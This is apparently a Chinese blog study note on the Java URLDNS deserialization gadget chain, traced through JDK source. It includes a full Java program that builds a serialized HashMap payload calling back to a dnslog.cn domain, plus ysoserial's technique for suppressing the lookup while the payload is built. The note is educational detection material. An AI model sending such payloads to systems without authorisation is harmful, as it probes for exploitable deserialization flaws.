Java反序列化修炼计划 URLDNS

URLDNS来自于原生类,且不受JDK版本限制,故常用于检测反序列化。

原理

首先是HashMap#readObject,调用了putVal方法,对传入的key进行了哈希计算。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// ...
else if (mappings > 0) { // (if zero, use defaults)
// ...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

hash方法会调用传入对象的hashCode方法。

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

传入的是URL对象,所以跟进URL对象中的hashCode方法,先会判断hashCode是否等于-1,然后再调用URLStreamHandlerhashCode方法。

1
2
3
4
5
6
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}

hashCode方法再调用了getHostAddress方法。

1
2
3
4
5
6
7
protected int hashCode(URL u) {
// ...
// Generate the host part.
InetAddress addr = getHostAddress(u);
// ...
return h;
}

跟进,可以看见其调用了getByName方法,其描述是Determines the IP address of a host, given the host's name,即为一次DNS请求,返回IP地址。

1
2
3
4
5
6
7
8
9
10
11
protected synchronized InetAddress getHostAddress(URL u) {
// ...
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
// ...
}
return u.hostAddress;
}

调用栈如下。

1
2
3
4
5
6
getByName:1076, InetAddress (java.net)
getHostAddress:436, URLStreamHandler (java.net)
hashCode:353, URLStreamHandler (java.net)
hashCode:885, URL (java.net)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)

Exploit生成

摘自天下大木头

对生成Exploit来说,使用put方法存入数据时,也会调用putVal方法。

因此在生成Exploit时就会发起一次DNS请求,最好规避一下。

回到hashCode方法,看见一开始有一个对值的判断,如果不等于-1,则直接返回。

1
2
3
4
5
6
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}

故可通过反射来修改URL中的hashCode,在调用put方法前后修改hashCode即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://a4ungz.dnslog.cn/");
Class clas = Class.forName("java.net.URL");
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, 233);
map.put(url, "233");
field.set(url, -1);
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./urldns"));
outputStream.writeObject(map);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./urldns"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

摘自ysoserial

ysoserial中,创建了SilentURLStreamHandler类来构造URL

1
2
3
4
5
6
7
8
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

使得在调用putVal时,调用的是SilentURLStreamHandler类的getHostAddress方法,返回的是null,故不会触发DNS请求。

以及将其标记为transient,使得其不被序列化。

1
// Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.

Refer

Java反序列化-URLDNS

ysoserial